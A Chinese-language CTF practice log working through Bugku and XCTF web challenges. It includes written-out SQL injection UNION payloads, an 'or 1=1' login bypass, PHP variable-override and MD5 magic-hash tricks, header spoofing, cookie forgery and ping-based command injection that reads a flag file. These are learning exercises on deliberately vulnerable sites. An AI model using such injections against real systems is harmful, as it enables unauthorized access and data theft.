四年一度的2月29日刷题记录
Bugku
变量1
<?php
error_reporting(0);
include "flag1.php";highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}?>
看到这个名字和源码中的$$想到了变量覆盖,include看到了包含的文件
正则表达式匹配的是[a-zA-Z0-9]
php中的超全局变量$GLOBALS,一个包含了全部变量的全局组合数组
payload:
?args=GLOBALS
vaa_dump()函数将$GLOBALS数组中存放的所有变量以数组的方式输出
包括flag
成绩单
SQL注入
首先判断共有多少列
orderby语句没爆出个所以然来,所以用了另一种方式吧
-1' union select 1,2,3,4# 回显正常
-1' union select 1,2,3,4,5# 无回显
-- 查库名
-1' union select 1,2,3,database()#
或
-1' union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)#
-- 查表名
-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema="skctf_flag")# 得到fl4g, sc
-- 查字段名
-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')# 得到skctf_flag
-- 查询信息
-1' union select 1,2,3,skctf_flag from fl4g# 得到flag
备份是个好习惯
.bak文件是备份文件,所以应该需要找到和这种文件有关的信息
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
一个大佬写的工具,应该也是基于python2的,所以在Linux下运行
出了一点小插曲,
ImportError: cannot import name UnrewindableBodyError
pip uninstall urllib3
手动清除了包
再
pip install urllib3
有一个.bak文件正在运行
访问
http://120.24.86.145:8002/web16/index.php.bak
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
有一些字符串处理的函数
strstr() 函数搜索字符串在另一字符串中的第一次出现,对大小写敏感
$_SERVER["REQUEST_URI"] 访问此页面所需的URI
所以就是将url中?及其之后的内容赋值给str,substr再将str中下标为1开始的内容赋值给str,str_replace再将str中的内容为key的字串删除,parse_str把查询字符串解析嗷变量中
之后就是md5碰撞,整挺好
所以这里也学到了双写来绕过的奇淫技巧
payload:
?kkeyey1=QNKCDZO&kkeyey2=240610708
注:其实按经验直接访问index.php.bak
你从哪里来
are you from google?
一副要改头的样子
Referer: https://www.google.com
web8
题目提示:txt?
<?php
extract($_GET);
if (!empty($ac))
{$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}?>
瞅了一眼flag.txt,里面有"flags"
再看一遍这个函数:
file_get_contents() 函数把整个文件读入一个字符串中。
所以传flag.txt进fn,就相当于把里面的内容flags赋给了f
所以只需要将flags赋值给ac,就能满足条件
?ac=flags&fn=flag.txt
查到有一种方法是利用php://input
?ac=1&fn=php://input
post: 1
字符?正则?
<?php
highlight_file('2.php');$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z]c/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}?>
(正则真的是不会)
查几个特别不熟悉的
"V"代表"/"
[[:punct:]]代表任意一个字符包括各种符号
/i代表大小写不敏感
拼命凑出来一把payload
?id=key1keykeykeykey:///keya!
看到一些网上的payload(不小心忘收集了。。先空着)
程序员本地网站
这个题不知道怎么了。。
记录几个伪造IP的方法吧
Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer:
Bugku论剑场
体验一下新的东西,主要还是学习新东西
web1
extract变量覆盖
和bugku靶场里的很像
payload:
?a=&b=
web2
快速计算
python脚本
还有一种xpath写法
web3
web4
万能密码
用户名 admin
密码 1' or 1=1#
web5
SQL注入,但是不太知道在哪里进行手注,所以明天学一下sqlmap再做吧。。
web6
F12看源码,有一串base64编码,解码得 test123
user=admin&pass=test123 登录后提示 ...本地管理员
Burp截包->加头X-Forwarded-For: 127.0.0.1->Go得flag
web7
想吃小饼干吗 估计是和cookie有关
点击登录 被告知权限不够 先burp截包康康
果然在cookie部分比以前复杂(tcl)
将r中的内容替换到u中
GET到新知识点:cookie欺骗
xctf
xctf-command_execution
这题转得好慢啊啊啊啊啊每条命令等半天
ping 127.0.0.1 随便试一下
ping 127.0.0.1;ls 发现可以执行
ping 127.0.0.1;ls / 到根目录看看有啥
ping 127.0.0.1;ls /home 看看家里有啥,结果有个flag.txt
ping 127.0.0.1;cat /home/flag.txt 把flag弄出来吧